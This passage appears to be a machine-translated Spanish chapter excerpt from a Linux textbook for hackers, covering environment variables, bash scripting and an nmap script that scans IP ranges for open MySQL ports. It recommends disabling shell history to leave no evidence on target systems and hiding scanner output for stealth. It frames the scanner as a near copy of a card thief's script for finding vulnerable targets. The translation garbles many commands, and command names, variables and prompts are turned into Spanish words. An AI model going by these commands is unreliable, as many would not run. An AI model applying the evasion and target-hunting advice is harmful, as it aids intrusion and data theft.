variables de entorno predeterminadas que vienen en su sistema. Un usuario también puede crear sus propias variables

y, como verá, necesitamos un comando diferente para incluirlas en la salida.

Visualización de todas las variables de entorno

Para ver todas las variables de entorno, incluidas las variables de shell, las variables
locales y las funciones de shell, como cualquier variable definida por el usuario y alias
de comando, use el comando set . Este comando enumerará todas las variables de
entorno exclusivas de su sistema, lo que en la mayoría de los casos le dará un
resultado durante tanto tiempo que no podrá verlo todo en una sola pantalla. Puede
solicitar ver cada variable, línea por línea, de una manera más accesible usando set y
canalizándolo al comando more , de la siguiente manera:
Machine Translated by Google

kali > conjunto | más


BASH=/bin/bash
BASHOPTS=checkwinsize:cmdlist:complete_fullquote:expand_aliases:extglob.....
BASH_ALIASES=()
BASH_ARGC=()
BASH_ARGV=()
--recorte--

Ahora la lista de variables llenará una pantalla, línea por línea, y luego se detendrá.
Cuando presiona ENTER, el terminal avanza a la siguiente línea, llevándolo a la siguiente
variable, para que pueda desplazarse presionando o manteniendo presionado ENTER.
Como recordará del Capítulo 2, siempre que use el comando more para la salida, puede
ingresar q para salir (o salir) y regresar al símbolo del sistema.

Filtrado por variables particulares


Aunque usar set con more da resultados más manejables que mirar a través de la gran
cantidad de nombres de variables que obtiene solo con set , aún puede ser bastante tedioso
si está buscando una variable en particular. En su lugar, puede usar el comando de filtrado
grep para encontrar su variable de interés.
Usemos la variable HISTSIZE como ejemplo. Esta variable contiene el número máximo
de comandos que almacenará su archivo de historial de comandos. Estos comandos son
cualquiera que haya escrito previamente en su símbolo del sistema en esta sesión y se
pueden recuperar con las teclas de flecha hacia arriba y hacia abajo. Tenga en cuenta que
HISTSIZE no almacena los comandos en sí, solo la cantidad de ellos que se pueden
almacenar.
Canalice su salida establecida con grep para encontrar la variable HISTSIZE , así:

kali> conjunto | empuñadura HISTSIZE


HISTSIZE=1000

Como puede ver, este comando encuentra la variable HISTSIZE y muestra su valor. El
valor predeterminado de esta variable probablemente esté establecido en 1000 en su
sistema. Esto indica que la terminal almacenará tus últimos 1000 comandos de forma
predeterminada.

Cambio de valores de variables para una sesión


Machine Translated by Google

Ahora veamos cómo cambiar el valor de una variable. Como se indicó, la variable
HISTSIZE contiene el valor de la cantidad de comandos para almacenar en el archivo
de historial. A veces, no querrá que su sistema guarde los comandos anteriores, tal
vez porque no quiere dejar ninguna evidencia de su actividad en su propio sistema o
en un sistema de destino. En ese caso, puede establecer la variable HISTSIZE en 0
para que el sistema no almacene ninguno de sus comandos anteriores. Debido a que
esta variable tiene un solo valor, para cambiarla, le asigna un nuevo valor de la forma
familiar que se muestra en el Listado 7-1.

veces > TAMAÑO DE HISTORIA = 0

Listado 7-1: Cambiando el valor de HISTSIZE

Ahora, cuando intenta usar las teclas de flecha hacia arriba y hacia abajo para
recuperar sus comandos, no sucede nada porque el sistema ya no los almacena.
Esto es sigiloso, aunque puede ser inconveniente.

Cómo hacer que los cambios de valor de variable sean permanentes

Cuando cambia una variable de entorno, ese cambio solo ocurre en ese entorno en
particular; en este caso, ese entorno es la sesión de bash shell. Esto significa que
cuando cierra la terminal, se pierden todos los cambios que haya realizado y los
valores se restablecen a sus valores predeterminados. Si desea que los cambios
sean permanentes, debe utilizar el comando de exportación . Este comando
exportará el nuevo valor de su entorno actual (el shell bash) al resto del sistema,
haciéndolo disponible en todos los entornos hasta que lo cambie y lo exporte
nuevamente.
Las variables son cadenas, por lo que si ejecuta con precaución, no es una mala
idea guardar el contenido de una variable en un archivo de texto antes de modificarlo.
Por ejemplo, dado que estamos a punto de cambiar la variable PS1 , que controla la
información que muestra en el indicador, primero ejecute el siguiente comando para
guardar los valores existentes en un archivo de texto en el directorio de inicio del
usuario actual:

kali >echo $TAMAÑOHISTORIAL> ~/valordelTAMAÑOHISTORIAL.txt


Machine Translated by Google

De esta manera, siempre puede deshacer los cambios. Si desea ser aún más
cauteloso y crear un archivo de texto con todas las configuraciones actuales, puede
guardar la salida del comando set en un archivo de texto con un comando como este:

kali >establecer> ~/valordeTODOen01012017.txt

Después de cambiar una variable, como hicimos en el Listado 7-1, puede hacer que
el cambio sea permanente ingresando exportar y luego el nombre de la variable que
cambió, como se muestra aquí:

kali >exportar HISTSIZE

Ahora, la variable HISTSIZE aún se establecerá en 0 cuando abandone este entorno


y entre en otro entorno. Si desea restablecer la variable HISTSIZE a 1000, simplemente
ingrese esto:

kali >HISTSIZE=1000 kali


>exportar HISTSIZE

Este fragmento de código establecerá el valor de la variable HISTSIZE en 1000 y


expórtela a todos sus entornos.

Cómo cambiar el indicador de shell El indicador

de shell, otra variable de entorno, le proporciona información útil, como el usuario con el
que está operando y el directorio en el que está trabajando actualmente. El indicador de
shell predeterminado en Kali toma el siguiente formato:

nombredeusuario@nombredehost:directorio_actual

Si está trabajando como usuario raíz, esto se traduce en el siguiente mensaje


predeterminado:

root@kali:directorio_actual

Puede cambiar el nombre en el indicador de shell predeterminado configurando el


valor de la variable PS1 . La variable PS1 tiene un conjunto de marcadores de posición para
Machine Translated by Google

información que desea mostrar en el indicador, incluida la siguiente: \u El nombre


del usuario actual

\h El nombre de host

\W El nombre base del directorio de trabajo actual

Esto es muy útil si tiene shells en varios sistemas o ha iniciado sesión con
varias cuentas. Al configurar diferentes valores \u y \h para diferentes shells o
cuentas, puede saber de un vistazo quién es usted y cuál es su sistema actual.

Divirtámonos un poco y cambiemos el aviso en su terminal. Por ejemplo, podría


ingresar lo siguiente:

veces >PS1="Mejor hacker del mundo: #"


Mejor hacker del mundo: #

Ahora, cada vez que utilices este terminal, se te recordará que eres el “mejor
hacker del mundo”. Pero cualquier terminal posterior que abra seguirá teniendo el
símbolo del sistema predeterminado, porque la variable PS1 solo contiene valores
para su sesión de terminal. Recuerde, hasta que exporte una variable, solo es
válida para esa sesión. Si realmente le gusta este nuevo símbolo del sistema y
desea verlo en cada terminal, debe exportarlo, así:

veces > exportar PS1

Esto hará que el cambio sea permanente en todas las sesiones.


¿Qué tal un poco más de diversión? Digamos que realmente quiere que su
terminal se vea como un indicador de cmd de Windows . En este caso, podría
cambiar el nombre del indicador a C: y mantener \w para que el indicador muestre
su directorio actual, como se muestra en el Listado 7-2.

kali > exportar PS1 = 'C:\w>'


C:/tmp>

Listado 7-2: Cambiando el aviso y mostrando el directorio actual


Machine Translated by Google

Hacer que su aviso muestre su directorio actual puede ser generalmente útil,
particularmente para un principiante, por lo que es algo a considerar cuando cambia
su variable PS1 .

Cambiando tu RUTA
Una de las variables más importantes en su entorno es su variable PATH ,
que controla en qué parte de su sistema su shell buscará los comandos que
ingrese, como cd, ls y echo. La mayoría de los comandos se encuentran en
el subdirectorio sbin o bin, como /usr/local/sbin o usr/local/bin.
Si el shell bash no encuentra el comando en uno de los directorios en su
variable PATH , devolverá el comando de error no encontrado, incluso si
ese comando existe en un directorio que no está en su PATH.
Puede averiguar qué directorios están almacenados en su variable PATH haciendo
usando echo en su contenido, así:

kali >echo
$RUTA /usr/local/sbin:usr/local/bin:/usr/sbin:/sbin/bin

Estos son los directorios donde su terminal buscará cualquier comando. Cuando
ingresa ls, por ejemplo, el sistema sabe buscar en cada uno de estos directorios el
comando ls , y cuando encuentra ls, el sistema lo ejecuta.

Cada directorio está separado por dos puntos (:), y no olvide agregar el
símbolo de contenido $ a la RUTA.

Agregar a la variable PATH Probablemente

pueda ver por qué es importante saber qué hay en su variable PATH: si descargó e
instaló una nueva herramienta, digamos newhackingtool, en el directorio /root/
newhackingtool, solo podría usar comandos de esa herramienta cuando estás en ese
directorio porque ese directorio no está en la variable PATH . Cada vez que quisiera
usar esa herramienta, primero tendría que navegar a /root/newhackingtool, lo cual es
un poco inconveniente si desea usar la herramienta con frecuencia.
Machine Translated by Google

Para poder usar esta nueva herramienta desde cualquier directorio, debe agregar el
directorio que contiene esta herramienta a su variable PATH .
Para agregar newhackingtool a su variable PATH , ingrese lo siguiente:

kali >RUTA=$RUTA:/raíz/nuevaherramientahacking

Esto asigna la variable PATH original más el directorio /root/newhackingtool a la nueva


variable PATH , por lo que la variable contiene todo lo que hacía antes, más el nuevo
directorio de herramientas.
Si examina nuevamente el contenido de la variable PATH , debería ver que este
directorio se ha agregado al final de PATH, como se muestra aquí:

kali >echo $RUTA /


usr/local/sbin:usr/local/bin:/usr/sbin:/sbin/bin:/raíz/nueva herramienta de piratería

Ahora puede ejecutar aplicaciones de newhackingtool desde cualquier parte de su


sistema, en lugar de tener que navegar a su directorio. ¡El shell bash buscará en todos los
directorios listados para su nueva herramienta!

NOTA

Agregar a PATH puede ser una técnica útil para los directorios que usa con
frecuencia, pero tenga cuidado de no agregar demasiados directorios a su variable
PATH . Debido a que el sistema tendrá que buscar en todos y cada uno de los
directorios de PATH para encontrar comandos, agregar muchos directorios podría
ralentizar su terminal y su piratería.

Cómo no agregar a la variable PATH


Un error que suelen cometer los nuevos usuarios de Linux es asignar un nuevo directorio,
como /root/newhackingtool, directamente a la variable PATH de esta manera:

kali >PATH=/root/
nuevaherramientahackingkali >echo
$RUTA/root/nuevaherramientahacking
Machine Translated by Google

Si usa este comando, su variable PATH solo contendrá el directorio /root/newhackingtool


y ya no contendrá los directorios binarios del sistema como /bin, /sbin y otros que contienen
comandos críticos.
Cuando vaya a usar cualquiera de los comandos del sistema, recibirá el comando de error
no encontrado, como se muestra a continuación, a menos que primero navegue al directorio
de archivos binarios del sistema cuando ejecute el comando:

kali >cd
bash: cd: comando no encontrado

Recuerde que desea agregar a la variable PATH , no reemplazarla.


Si tiene dudas, guarde el contenido de la variable en algún lugar antes de modificarla.

Creación de una variable definida por el usuario

Puede crear sus propias variables personalizadas definidas por el usuario en Linux
simplemente asignando un valor a una nueva variable que nombre. Esto puede ser útil cuando
está realizando secuencias de comandos de shell más avanzadas o descubre que a menudo
usa un comando largo que se cansa de escribir y
sobre.

La sintaxis es sencilla: ingrese el nombre de su variable, seguido del símbolo de


asignación (=), y luego el valor para poner en la variable, como se muestra aquí:

kali >MYNEWVARIABLE="La piratería es el conjunto de habilidades más valioso del siglo XXI"

Esto asigna una cadena a la variable MYNEWVARIABLE. Para ver el valor de esa
variable, use el comando echo y el símbolo de contenido $ con el nombre de la variable,
como hicimos antes:

times >echo $MINUEVAVARIABLE


La piratería es el conjunto de habilidades más valioso del siglo XXI

Al igual que las variables de entorno de nuestro sistema, las variables definidas por el
usuario deben exportarse para persistir en nuevas sesiones.
Machine Translated by Google

Si desea eliminar esta nueva variable, o cualquier variable, use el comando unset .
Sin embargo, siempre piense antes de eliminar una variable del sistema, porque su sistema
probablemente funcionará de manera muy diferente después.

times >unset MYNEWVARIABLE


times >echo $MYNEWVARIABLE
times >

Como puede ver, cuando ingresa unset MYNEWVARIABLE, elimina la variable junto
con su valor. Si usa echo en esa misma variable, Linux ahora devolverá una línea en
blanco.

Resumen
Puede encontrar variables de entorno extrañas, pero vale la pena
conocerlas. Controlan cómo se ve, actúa y se siente su entorno de
trabajo en Linux. Puede administrar estas variables para adaptar su
entorno a sus necesidades cambiándolas, exportándolas e incluso
creando las suyas propias. En algunos casos, pueden ser útiles para
cubrir tus huellas como hacker.

EJERCICIOS

Antes de pasar al Capítulo 8, pruebe las habilidades que aprendió en este capítulo completando los siguientes
ejercicios:

1. Vea todas sus variables de entorno con el comando more .


2. Use el comando echo para ver la variable HOSTNAME .

3. Encuentre un método para cambiar la barra diagonal (/) a una barra diagonal inversa (\) en el falso cmd de Microsoft
Ejemplo de PS1 (vea el Listado 7-2).
4. Cree una variable llamada MINUEVAVARIABLE y ponga su nombre en ella.
5. Use echo para ver el contenido de MYNEWVARIABLE.

6. Exporte MYNEWVARIABLE para que esté disponible en todos los entornos.


7. Use el comando echo para ver el contenido de la variable PATH .

8. Agregue su directorio de inicio a la variable PATH para que cualquier binario en su directorio de inicio
pueda usarse en cualquier directorio.
9. Cambie su variable PS1 a "World's Greatest Hacker:".
Machine Translated by Google
Machine Translated by Google

8
BASH SCRIPTING

Cualquier hacker que se precie debe ser capaz de escribir scripts. De hecho, cualquier administrador de Linux
que se precie debe ser capaz de crear secuencias de comandos. Los hackers a menudo necesitan automatizar
comandos, a veces desde múltiples herramientas, y esto se hace de manera más eficiente a través de
programas cortos que ellos mismos escriben.

En este capítulo, creamos algunas secuencias de comandos bash shell simples para que comience con
la creación de secuencias de comandos. Agregaremos capacidades y funciones a medida que avancemos, y
finalmente crearemos un script capaz de encontrar posibles objetivos de ataque en un rango de direcciones IP.

Para convertirse en un pirata informático de élite, también necesita la capacidad de crear secuencias de
comandos en uno de los lenguajes de secuencias de comandos ampliamente utilizados, como Ruby (las
vulnerabilidades de Metasploit están escritas en Ruby), Python (muchas herramientas de piratería son
secuencias de comandos de Python) o Perl (Perl es el mejor lenguaje de secuencias de comandos de
manipulación de texto). Doy una breve introducción a las secuencias de comandos de Python en el Capítulo 17.

Un curso acelerado en Bash


Un shell es una interfaz entre el usuario y el sistema operativo que le permite manipular archivos y ejecutar
comandos, utilidades, programas y mucho más. La ventaja de un shell es que realiza estas tareas
Machine Translated by Google

inmediatamente desde la computadora y no a través de una abstracción, como una


GUI, lo que le permite personalizar su tarea según sus necesidades. Varios shells
diferentes están disponibles para Linux, incluido el shell Korn, el shell Z, el shell C y
el shell Bourne-again, más conocido como bash.

Debido a que el shell bash está disponible en casi todas las distribuciones de
Linux y UNIX (incluidos macOS y Kali), usaremos el shell bash exclusivamente.

El shell bash puede ejecutar cualquier comando del sistema, utilidades o


aplicaciones que pueda ejecutar su línea de comandos habitual, pero también incluye
algunos de sus propios comandos integrados. La Tabla 8-1 más adelante en el
capítulo le brinda una referencia a algunos comandos útiles que residen dentro del shell bash.

En capítulos anteriores, utilizó los comandos cd, pwd, set y umask .


En esta sección, usará dos comandos más: el comando echo , que se
usó por primera vez en el Capítulo 7, que muestra mensajes en la pantalla,
y el comando read , que lee datos y los almacena en otro lugar. El simple
hecho de aprender estos dos comandos le permitirá crear una herramienta
simple pero poderosa.
Necesitará un editor de texto para crear scripts de shell. Puede usar el editor de
texto de Linux que más le guste, incluidos vi, vim, emacs, gedit, kate, etc. Usaré
Leafpad en estos tutoriales, como lo hice en capítulos anteriores. Usar un editor
diferente no debería hacer ninguna diferencia en su script o su funcionalidad.

Su primer guión: "¡Hola, hackers, levántense!"


Para su primer script, comenzaremos con un programa simple que devuelve un
mensaje a la pantalla que dice "¡Hola, hackers, levántense!" Abre tu editor de texto
y vamos.
Para comenzar, debe decirle a su sistema operativo qué intérprete desea usar
para el script. Para hacer esto, ingrese un shebang, que es una combinación de un
signo de almohadilla y un signo de exclamación, así:

#!
Machine Translated by Google

Luego sigue el shebang (#!) con /bin/bash para indicar que desea que el sistema
operativo use el intérprete de shell bash. Como verá en capítulos posteriores, también
podría usar shebang para usar otros intérpretes, como Perl o Python. Aquí, desea usar
el intérprete bash, así que ingrese lo siguiente:

#! /bin/bash

Luego, ingrese el comando echo , que le dice al sistema que simplemente


repita (o haga eco) en su monitor lo que sea que siga al comando.
En este caso, queremos que el sistema nos envíe un eco "¡Hola, piratas
informáticos, levántense!", como se hizo en el Listado 8-1. Tenga en cuenta que el
texto o mensaje que queremos devolver debe estar entre comillas dobles.

#! /bin/bash

# Este es mi primer script bash. Deséame suerte.

echo "¡Hola, hackers, levántense!"

Listado 8-1: Su mensaje "¡Hola, hackers, levántense!" texto

Aquí, también verá una línea precedida por una almohadilla (#). Este es un
comentario, que es una nota que se deja a sí mismo oa cualquier otra persona que lea el
código para explicar lo que está haciendo en el script. Los programadores usan
comentarios en todos los lenguajes de codificación. El intérprete no lee ni ejecuta estos
comentarios, por lo que no debe preocuparse por estropear su código. Solo son visibles
para los humanos. El shell bash sabe que una línea es un comentario si comienza con el
carácter # .

Ahora, guarde este archivo como HelloHackersArise sin extensión y salga de su


editor de texto.

Configuración de permisos de ejecución

De forma predeterminada, un script bash recién creado no es ejecutable ni siquiera por


usted, el propietario. Veamos los permisos en nuestro nuevo archivo en la línea de
comando usando cd para movernos al directorio y luego ingresando ls -l. Debería verse
algo como esto:
Machine Translated by Google

kali> ls -l --
snip-- -rw-r-
r-- 1 raíz raíz 42 22 de octubre 14:32 HelloHackersArise --snip--

Como puede ver, nuestro nuevo archivo tiene permisos rw-r--r-- (644). Como aprendió
en el Capítulo 5, esto significa que el propietario de este archivo solo tiene permisos de
lectura (r) y escritura (w) , pero no tiene permisos de ejecución (x) . El grupo y todos los
demás usuarios solo tienen permisos de lectura. Necesitamos darnos permisos de
ejecución para ejecutar este script. Cambiamos los permisos con el comando chmod ,
como vio en el Capítulo 5. Para otorgar permisos de ejecución al propietario, al grupo y a
todos los demás, ingrese lo siguiente:

kali> chmod 755 HelloHackersArise

Ahora, cuando hacemos una lista larga en el archivo, podemos ver que tenemos
permisos de ejecución:

kali> ls -l --
snip-- -rwx
rx rx 1 raíz raíz 42 22 de octubre 14:32 HelloHackersArise --snip--

¡El script ya está listo para ejecutarse!

Ejecutando HelloHackersArise
Para ejecutar nuestro script simple, ingrese lo siguiente:

kali> ./ HelloHackersArise

El ./ antes del nombre del archivo le dice al sistema que queremos ejecutar este script
en el archivo HelloHackersArise del directorio actual. También le dice al sistema que si
hay otro archivo en otro directorio llamado HelloHackersArise, ignórelo y solo ejecute
HelloHackersArise en el directorio actual. Puede parecer poco probable que haya otro
archivo con este nombre en su sistema, pero es una buena práctica usar ./ al ejecutar
archivos, ya que esto localiza la ejecución del archivo en el directorio actual y muchos
directorios tendrán nombres de archivo duplicados, como inicio y configuración.
Machine Translated by Google

Cuando presionamos ENTER, nuestro script muy simple devuelve nuestro mensaje
al monitor:

¡Hola, Hackers-Levántense!

¡Éxito! ¡Acabas de completar tu primer script de shell!

Agregando Funcionalidad con Variables y Entrada del Usuario Entonces,

ahora tenemos un script simple. Todo lo que hace es devolver un mensaje a


la salida estándar. Si queremos crear scripts más avanzados, probablemente
necesitemos agregar algunas variables.
Una variable es un área de almacenamiento que puede contener algo en la memoria.
Ese “algo” podría ser algunas letras o palabras (cadenas) o números.
Se conoce como variable porque los valores que contiene son modificables; esta es una
característica extremadamente útil para agregar funcionalidad a un script.
En nuestra próxima secuencia de comandos, agregaremos la funcionalidad para
solicitar al usuario su nombre, colocar lo que ingrese en una variable, luego solicitar al
usuario el capítulo en el que se encuentra en este libro y colocar esa entrada de teclado
en una variable. Después de eso, enviaremos un mensaje de bienvenida que incluye su
nombre y el capítulo al usuario.
Abra un nuevo archivo en su editor de texto e ingrese el script que se muestra en el
Listado 8-2.

ÿ #! /bin/bash

ÿ # Este es su segundo script bash. En este, solicita / # al usuario que ingrese,


coloca la entrada en una variable y / # muestra el contenido de la variable
en una cadena.

ÿ echo "¿Cuál es tu nombre?"

leer nombre

ÿ echo "¿En qué capítulo estás en Linux Basics for Hackers?"

leer capítulo

ÿ echo "Bienvenido" $nombre "al Capítulo" $capítulo "de Linux Basics for Hackers!"

Listado 8-2: Un script simple que usa variables


Machine Translated by Google

¡Abrimos con #! /bin/bash para decirle al sistema que queremos usar el intérprete de
bash para este script ÿ. Luego agregamos un comentario que describe el script y su
funcionalidad ÿ. Después de eso, le solicitamos al usuario su nombre y le pedimos al intérprete
que lea la entrada y la coloque en una variable que llamamos nombre ÿ. Luego le pedimos
al usuario que ingrese el capítulo en el que está trabajando actualmente en este libro, y
nuevamente leemos la entrada del teclado en una variable, esta vez llamada capítulo ÿ.

En la línea final, construimos una línea de salida que da la bienvenida al lector por su
nombre al capítulo en el que se encuentra ÿ. Usamos el comando echo y proporcionamos el
texto que queremos mostrar en la pantalla entre comillas dobles. Luego, para completar el
nombre y el número de capítulo que ingresó el usuario, agregamos las variables donde deben
aparecer en el mensaje.
Como se indicó en el Capítulo 7, para usar los valores contenidos en las variables, debe
preceder el nombre de la variable con el símbolo $ .
Guarde este archivo como WelcomeScript.sh. La extensión .sh es la convención para los
archivos de script. Es posible que haya notado que no incluimos la extensión antes; no es
estrictamente necesario, y si deja la extensión desactivada, el archivo se guardará como un
archivo de script de shell de forma predeterminada.
Ahora, ejecutemos este script. No olvides darte permiso de ejecución con chmod primero;
de lo contrario, el sistema operativo lo regañará con un mensaje de Permiso denegado .

kali >./WelcomeScript.sh
¿Cuál es tu nombre?
OccupytheWeb
¿En qué capítulo estás en Linux Basics for Hackers? 8
¡Bienvenido OccupytheWeb al Capítulo 8 de Linux Basics
for Hackers!

Como puede ver, su secuencia de comandos recibió información del usuario, la colocó en
y luego usó esas entradas para hacer un saludo para el usuario.
Este es un script simple, pero le enseñó cómo usar variables y recibir entradas del
teclado. Ambos son conceptos cruciales en la creación de scripts que necesitará usar en
scripts más complejos en el futuro.
Machine Translated by Google

Su primera secuencia de comandos de hacker: buscar puertos abiertos Ahora que

tiene algunas habilidades básicas de creación de secuencias de comandos, pasemos


a algunas secuencias de comandos un poco más avanzadas que tienen una aplicación
real para la piratería. Usaremos un ejemplo del mundo de la piratería de sombrero negro.
Los piratas informáticos de sombrero negro son aquellos con intenciones maliciosas, como
robar números de tarjetas de crédito o desfigurar sitios web. Los hackers de sombrero blanco
son aquellos con buenas intenciones, como ayudar a los desarrolladores de software o
administradores de sistemas a hacer que sus sistemas sean más seguros. Los hackers de
sombrero gris son aquellos que tienden a moverse entre estos dos extremos.

Antes de continuar, debe familiarizarse con una herramienta simple pero esencial llamada
nmap que viene instalada en Kali de forma predeterminada.
Probablemente hayas escuchado el nombre; nmap se utiliza para sondear un sistema para
ver si está conectado a la red y averiguar qué puertos están abiertos. A partir de los puertos
abiertos descubiertos, puede suponer qué servicios se están ejecutando en el sistema de
destino. Esta es una habilidad crucial para cualquier hacker o administrador de sistemas.

En su forma más simple, la sintaxis para ejecutar un escaneo nmap se ve así:

nmap <tipo de escaneo><IP de destino><opcionalmente, puerto de destino>

No es muy difícil. El escaneo de nmap más simple y confiable es el escaneo de conexión


TCP, designado con el interruptor -sT en nmap. Entonces, si quisiera escanear la dirección
IP 192.168.181.1 con un escaneo TCP, ingresaría lo siguiente:

nmap-sT 192.168.181.1

Para ir un paso más allá, si desea realizar un escaneo TCP de la dirección 192.168.181.1,
buscando si el puerto 3306 (el puerto predeterminado para MySQL) está abierto, puede
ingresar esto:

nmap -st 192.168.181.1 -p 3306

Aquí, -p designa el puerto que desea buscar. Continúe y pruébelo ahora en su sistema
Kali.
Machine Translated by Google

Nuestra tarea

En el momento de escribir este artículo, hay un hacker que cumple condena en una prisión
federal de EE. UU. con el nombre de Max Butler, también conocido como Max Vision en
todo el mundo hacker. Max era una especie de hacker de sombrero gris. De día, era un
profesional de seguridad informática en Silicon Valley, y de noche, robaba y vendía
números de tarjetas de crédito en el mercado negro. En un momento, dirigió el mercado
negro de tarjetas de crédito más grande del mundo, CardersMarket. Ahora, Max cumple
una pena de prisión de 13 años y, al mismo tiempo, ayuda al Equipo de Respuesta a
Emergencias Informáticas (CERT) en Pittsburgh con la defensa contra los piratas
informáticos.
Unos años antes de que atraparan a Max, se dio cuenta de que el sistema de punto de
venta (POS) de Aloha utilizado por muchos restaurantes pequeños tenía una puerta trasera
de soporte técnico integrada. En este caso, la puerta trasera habilitó el soporte técnico
para ayudar a sus clientes. El soporte técnico de Aloha podía acceder al sistema del
usuario final a través del puerto 5505 para brindar asistencia cuando el usuario solicitaba
ayuda. Max se dio cuenta de que si encontraba un sistema conectado a Internet con el
sistema Aloha POS, podría acceder al sistema con privilegios de administrador del sistema
a través del puerto 5505. Max pudo ingresar a muchos de estos sistemas y robar decenas
de miles de números de tarjetas de crédito.
Eventualmente, Max quería encontrar todos los sistemas que tenían el puerto 5505
abierto para poder pasar de robar miles de números de tarjetas de crédito a robar millones.
Max decidió escribir un script que escanearía millones de direcciones IP en busca de
sistemas con el puerto 5505 abierto. Por supuesto, la mayoría de los sistemas no tienen el
puerto 5505 abierto, por lo que, si lo tuvieran, es probable que estuvieran ejecutando el
condenado Aloha POS. Podría ejecutar este script mientras está en el trabajo durante el
día y luego, por la noche, piratear los sistemas identificados como que tienen el puerto
5505 abierto.
Nuestra tarea es escribir un script que sea casi idéntico al script de Max, pero en lugar
de buscar el puerto 5505 como lo hizo Max, nuestro script buscará sistemas conectados a
la ubicua base de datos en línea MySQL.
MySQL es una base de datos de código abierto utilizada detrás de millones de sitios web;
trabajaremos con MySQL en el Capítulo 12. De manera predeterminada, MySQL usa el
puerto 3306. Las bases de datos son el "vellocino de oro" que buscan casi todos los piratas
informáticos de sombrero negro, ya que a menudo contienen números de tarjetas de crédito y
Machine Translated by Google

información de identificación personal (PII) que es muy valiosa en el mercado negro.

Un escáner simple Antes de

escribir el script para escanear direcciones IP públicas en Internet, asumamos una tarea
mucho más pequeña. En lugar de escanear el globo, primero escribamos una secuencia
de comandos para buscar el puerto 3306 en una red de área local para ver si nuestra
secuencia de comandos realmente funciona. Si lo hace, podemos editarlo fácilmente para
hacer la tarea mucho más grande.

En su editor de texto, ingrese el script que se muestra en el Listado 8-3.

ÿ #! /bin/bash

ÿ # Este script está diseñado para encontrar hosts con MySQL instalado

nmap ÿ-sT 192.168.181.0/24 ÿ-p 3306 ÿ>/dev/null ÿ-oG MySQLscan

ÿ cat mysqlscan | grep abierto > MySQLscan2 ÿ

gato mysqlscan2

Listado 8-3: El script del escáner simplificado

Empezamos con el shebang y el intérprete a utilizar ÿ. Sigamos con un comentario para


explicar lo que hace el script ÿ. comando para solicitar un escaneo TCP ÿ en nuestra LAN,
Ahora usemos el nmap buscando el puerto 3306 ÿ. (Tenga en cuenta que sus
direcciones IP pueden diferir; en su terminal, use el comando ifconfig en Linux o el
comando ipconfig en Windows para determinar su dirección IP). Para mantener el sigilo,
también enviamos la salida nmap estándar que normalmente aparece en la pantalla a un
lugar especial en Linux, donde desaparece ÿ. Estamos haciendo esto en una máquina local,
por lo que no importa tanto, pero si usara el script de forma remota, querrá ocultar la salida
de nmap. Luego, enviamos el resultado del escaneo a un archivo llamado MySQLscan en
un formato compatible con grep ÿ, lo que significa un formato en el que grep puede funcionar.
Machine Translated by Google

La siguiente línea muestra el archivo MySQLscan en el que almacenamos la


salida y luego canaliza esa salida a grep para filtrar las líneas que incluyen la palabra
clave open ÿ. Luego colocamos esas líneas en un archivo llamado MySQLscan2 ÿ.

Finalmente, muestra el contenido del archivo MySQLscan2. Este archivo final


solo debe incluir líneas de salida de nmap con hosts que tengan el puerto 3306
abierto. Guarde este archivo como MySQLscanner.sh y concédase permisos de
ejecución con chmod 755.
Ejecute el script, así:

veces >./MySQLscanner.sh

host: 192.168.181.69 () Puertos: 3306/open/tcp//mysql///

Como podemos ver, este script pudo identificar la única dirección IP en mi LAN
con MySQL ejecutándose. Sus resultados pueden diferir, dependiendo de si algún
puerto está ejecutando instalaciones de MySQL en su red local, por supuesto.

Mejorando el escáner MySQL


Ahora queremos adaptar este script para que sea aplicable a algo más que su propia
red local. Esta secuencia de comandos sería mucho más fácil de usar si pudiera
solicitar al usuario el rango de direcciones IP que desea escanear y el puerto que
debe buscar, y luego usar esa entrada. Recuerde, aprendió cómo solicitar al usuario
y poner su entrada de teclado en una variable en “Adición de funcionalidad con
variables y entrada de usuario” en la página 84.

Echemos un vistazo a cómo podría usar variables para hacer que este script sea
más flexible y eficiente.

Adición de indicadores y variables a nuestro script de hacker En

su editor de texto, ingrese el script que se muestra en el Listado 8-4.

#! /bin/bash
"
ÿ echo "Ingrese la dirección IP inicial:
Machine Translated by Google

ÿ leer FirstIP

"
ÿ echo "Ingrese el último octeto de la última dirección IP:
leer LastOctetIP

"
ÿ echo "Ingrese el número de puerto que desea buscar: puerto de lectura

ÿ nmap -sT $FirstIP-$LastOctetIP -p $port >/dev/null -oG MySQLscan

ÿ cat mysqlscan | grep abierto > MySQLscan2

ÿ gato MySQLscan2

Listado 8-4: Tu escáner avanzado de puertos MySQL

Lo primero que debemos hacer es reemplazar la subred especificada con un rango


de direcciones IP. Crearemos una variable llamada FirstIP y una segunda variable
llamada LastOctetIP para crear el rango, así como una variable llamada port para el
número de puerto (el último octeto es el último grupo de dígitos después del tercer punto
en la dirección IP. En el Dirección IP 192.168.1.101, el último octeto es 101).

NOTA

El nombre de la variable es irrelevante, pero la mejor práctica es usar un nombre


de variable que le ayude a recordar lo que contiene la variable.

También necesitamos solicitar al usuario estos valores. Podemos hacer esto usando
el comando echo que usamos en el Listado 8-1.
Para obtener un valor para la variable FirstIP , repite "Ingresa la IP de inicio" en la
habla a : pantalla y pregunta al usuario la primera dirección IP que desea escanear ÿ.
Al ver este mensaje en la pantalla, el usuario ingresará la primera dirección IP, por lo
que debemos capturar esa entrada del
usuario.

Podemos hacer esto con el comando de lectura seguido del nombre de la variable
en la que queremos almacenar la entrada ÿ. Este comando pondrá la dirección IP
ingresada por el usuario en la variable FirstIP. Luego podemos usar ese valor en FirstIP
a lo largo de nuestro script.
Machine Translated by Google

Haremos lo mismo con las variables LastOctetIP ÿ y puerto ÿ solicitando al usuario que
ingrese la información y luego usando un comando de lectura para capturarla.

A continuación, tenemos que editar el nmap comando en nuestro script para usar las variables
que acabamos de crear y completar. Para usar el valor almacenado en la variable, simplemente
antecedemos el nombre de la variable con $, como en $port, por ejemplo. Entonces, en ÿ,

escaneamos un rango de direcciones IP, comenzando con la primera IP ingresada por el usuario
hasta la segunda IP ingresada por el usuario, y buscamos la entrada de puerto particular por parte
del usuario. Hemos usado las variables en lugar de la subred para escanear y el puerto para
determinar qué buscar. El símbolo de redirección > le dice a la salida estándar de nmap, que
generalmente va a la pantalla, que vaya a /dev/null (/dev/null es simplemente un lugar para enviar
la salida para que desaparezca). Luego, enviamos la salida en un formato compatible con grep a
un archivo que llamamos MySQLscan.

La siguiente línea sigue siendo la misma que en nuestro escáner simple: genera el contenido
del archivo MySQLscan, lo canaliza a grep, donde se filtra en busca de líneas
palabra
que
clave
incluyan
openlay
luego envía esa salida a un nuevo archivo llamado MySQLscan2
contenido del
